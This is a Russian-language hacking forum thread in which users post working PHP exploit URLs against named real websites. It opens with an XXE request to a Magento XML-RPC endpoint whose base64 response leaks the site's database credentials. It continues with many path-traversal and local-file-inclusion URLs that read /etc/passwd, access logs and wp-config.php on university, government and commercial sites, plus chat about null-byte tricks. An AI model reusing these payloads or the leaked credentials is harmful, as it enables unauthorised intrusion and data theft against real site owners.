PHP Иньекции

XXE

http://www.mymetasys.com.br

Request

POST /index.php/api/xmlrpc HTTP/1.1
Host: www.mymetasys.com.br

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT methodName ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/srv/www/mymetasys.com.br/htdocs/app/etc/local.xml" >]>
<methodCall>
<methodName>&xxe;</methodName>
</methodCall>

Response

Code:

<?xml version="1.0" encoding="UTF-8"?>

<methodResponse><fault><value><struct>
<member><name>faultCode</name><value><int>620</int></value></member><member>
<name>faultString</name><value><string>Method "PD94bWwgdmVyc2lvbj0iMS4wIj8+CjwhLS0KLyoqCiAqIE1hZ2VudG8KICoKICogTk9USUNFIE9GIExJQ0VOU0UKICoKICogVGhpcyBzb3VyY2UgZmlsZSBpcyBzdWJqZWN0IHRvIHRoZSBBY2FkZW1pYyBGcmVlIExpY2Vuc2UgKEFGTCAzLjApCiAqIHRoYXQgaXMgYnVuZGxlZCB3aXRoIHRoaXMgcGFja2FnZSBpbiB0aGUgZmlsZSBMSUNFTlNFX0FGTC50eHQuCiAqIEl0IGlzIGFsc28gYXZhaWxhYmxlIHRocm91Z2ggdGhlIHdvcmxkLXdpZGUtd2ViIGF0IHRoaXMgVVJMOgogKiBodHRwOi8vb3BlbnNvdXJjZS5vcmcvbGljZW5zZXMvYWZsLTMuMC5waHAKICogSWYgeW91IGRpZCBub3QgcmVjZWl2ZSBhIGNvcHkgb2YgdGhlIGxpY2Vuc2UgYW5kIGFyZSB1bmFibGUgdG8KICogb2J0YWluIGl0IHRocm91Z2ggdGhlIHdvcmxkLXdpZGUtd2ViLCBwbGVhc2Ugc2VuZCBhbiBlbWFpbAogKiB0byBsaWNlbnNlQG1hZ2VudG9jb21tZXJjZS5jb20gc28gd2UgY2FuIHNlbmQgeW91IGEgY29weSBpbW1lZGlhdGVseS4KICoKICogRElTQ0xBSU1FUgogKgogKiBEbyBub3QgZWRpdCBvciBhZGQgdG8gdGhpcyBmaWxlIGlmIHlvdSB3aXNoIHRvIHVwZ3JhZGUgTWFnZW50byB0byBuZXdlcgogKiB2ZXJzaW9ucyBpbiB0aGUgZnV0dXJlLiBJZiB5b3Ugd2lzaCB0byBjdXN0b21pemUgTWFnZW50byBmb3IgeW91cgogKiBuZWVkcyBwbGVhc2UgcmVmZXIgdG8gaHR0cDovL3d3dy5tYWdlbnRvY29tbWVyY2UuY29tIGZvciBtb3JlIGluZm9ybWF0aW9uLgogKgogKiBAY2F0ZWdvcnkgICBNYWdlCiAqIEBwYWNrYWdlICAgIE1hZ2VfQ29yZQogKiBAY29weXJpZ2h0ICBDb3B5cmlnaHQgKGMpIDIwMDggSXJ1YmluIENvbnN1bHRpbmcgSW5jLiBEQkEgVmFyaWVuIChodHRwOi8vd3d3LnZhcmllbi5jb20pCiAqIEBsaWNlbnNlICAgIGh0dHA6Ly9vcGVuc291cmNlLm9yZy9saWNlbnNlcy9hZmwtMy4wLnBocCAgQWNhZGVtaWMgRnJlZSBMaWNlbnNlIChBRkwgMy4wKQogKi8KLS0+Cjxjb25maWc+CiAgICA8Z2xvYmFsPgogICAgICAgIDxpbnN0YWxsPgogICAgICAgICAgICA8ZGF0ZT48IVtDREFUQVtUdWUsIDIwIEphbiAyMDA5IDE1OjQ4OjE0ICswMDAwXV0+PC9kYXRlPgogICAgICAgIDwvaW5zdGFsbD4KICAgICAgICA8Y3J5cHQ+CiAgICAgICAgICAgIDxrZXk+PCFbQ0RBVEFbbXltZXRhc3lzXV0+PC9rZXk+CiAgICAgICAgPC9jcnlwdD4KICAgICAgICA8ZGlzYWJsZV9sb2NhbF9tb2R1bGVzPmZhbHNlPC9kaXNhYmxlX2xvY2FsX21vZHVsZXM+CiAgICAgICAgPHJlc291cmNlcz4KICAgICAgICAgICAgPGRiPgogICAgICAgICAgICAgICAgPHRhYmxlX3ByZWZpeD48IVtDREFUQVtdXT48L3RhYmxlX3ByZWZpeD4KICAgICAgICAgICAgPC9kYj4KICAgICAgICAgICAgPGRlZmF1bHRfc2V0dXA+CiAgICAgICAgICAgICAgICA8Y29ubmVjdGlvbj4KICAgICAgICAgICAgICAgICAgICA8aG9zdD48IVtDREFUQVtsb2NhbGhvc3RdXT48L2hvc3Q+CiAgICAgICAgICAgICAgICAgICAgPHVzZXJuYW1lPjwhW0NEQVRBW215bWV0YXN5c11dPjwvdXNlcm5hbWU+CiAgICAgICAgICAgICAgICAgICAgPHBhc3N3b3JkPjwhW0NEQVRBW015TWVUQTIxOVBPcnRhbF1dPjwvcGFzc3dvcmQ+CiAgICAgICAgICAgICAgICAgICAgPGRibmFtZT48IVtDREFUQVtNeU1ldGFzeXNdXT48L2RibmFtZT4KICAgICAgICAgICAgICAgICAgICA8YWN0aXZlPjE8L2FjdGl2ZT4KICAgICAgICAgICAgICAgIDwvY29ubmVjdGlvbj4KICAgICAgICAgICAgPC9kZWZhdWx0X3NldHVwPgogICAgICAgIDwvcmVzb3VyY2VzPgogICAgICAgIDxzZXNzaW9uX3NhdmU+PCFbQ0RBVEFbZmlsZXNdXT48L3Nlc3Npb25fc2F2ZT4KICAgICA8L2dsb2JhbD4KICAgICA8YWRtaW4+CiAgICAgICAgPHJvdXRlcnM+CiAgICAgICAgICAgIDxhZG1pbmh0bWw+CiAgICAgICAgICAgICAgICA8YXJncz4KICAgICAgICAgICAgICAgICAgICA8ZnJvbnROYW1lPjwhW0NEQVRBW015TWFuYWdlcl1dPjwvZnJvbnROYW1lPgogICAgICAgICAgICAgICAgPC9hcmdzPgogICAgICAgICAgICA8L2FkbWluaHRtbD4KICAgICAgICA8L3JvdXRlcnM+CiAgICAgPC9hZG1pbj4KPC9jb25maWc+Cg==" does not exist</string></value></member></struct></value></fault></methodResponse>

 

1234

 

Что-то снова тишина... вэйк АП

PHP:

http://www.ecwatech.ru/2014/index.php?content=../../../../../../../../../../usr/local/apache/logs/access_log%00

PHP:

http://citypipe.ru/index.php?content=../../../../../../../../../../usr/local/apache/logs/access_log%00

 

ТИЦ: 20
PR: 3

PHP:

www.ctt74.[antigoogle]ru/download.php?id=../site/includes.inc.php

 

Теме ап

PHP:

http://digitizer.sourceforge.net/index.php?c=../../../../../../etc/passwd%00

 

PHP:

http://2013.sibico.com/index.php?content=../../../../../../../../../../etc/passwd%00

 

Code:

http://www.bli.uci.edu/news/news.php?id=../../../../etc/passwd%00

 

http://debut78.ru/index.php?pages=../../../../../etc/passwd

//нулл байт кто должен добавить? Konqi.
Он не требуется, OxoTnik!
//Warning: include(pages/../../../../../etc/passwd.php) как не требуется? Оо, Konqi
Сижу с FF, когда крутил работал без нул байта, счас просит.... я хз что произошло, но действительно до этого вообще не ставил его. //OxoTnik
Оо, чатик... //BigBear
привет в этом чатиге//

 

Code:

http://kansei.cse.ohio-state.edu/KanseiGenie/Doc/cloning.php?pageName=../../../../../etc/passwd

 

http://9-9-9.ru/spravka.php?s=../../../../../etc/passwd%00

 

Code:

http://www.dist228.org/index.php?page=/etc/passwd

 

http://developer.amd.com/wordpress/media/download.php?f=Li4vLi4vd3AtY29uZmlnLnBocA==

обновим тему

 

http://ultrastar-portal.de/html/scripts/download.php?datei=../../../../../../../../../../etc/passwd
http://ultrastar-portal.de/html/scripts/download.php?datei=http://forum.antichat.ru

 

теме АП

PHP:

http://museum.nhm.uga.edu/index.php?page=../../../../../etc/passwd%00

 

Code:

http://www.fetakgomo.gov.za/index.php?page=/etc/passwd%00

 

PHP:

http://www.evisitanalyst.com/page.php?pgid=../etc/passwd%00

 

http://votename.ru/site_material.php?id=../../../.htaccess

 

Code:

http://www.andesonline.com/andes_site/index.php?l=../../../../../../../../../../etc/passwd

 

Доброй ночи всем

PHP:

http://www.infinitidesign.it/index.php?l=../../../../../../etc/passwd%00

 

Code:

http://www.interuniversidades.com/actions/user/?f=../../../../../../../../../../etc/passwd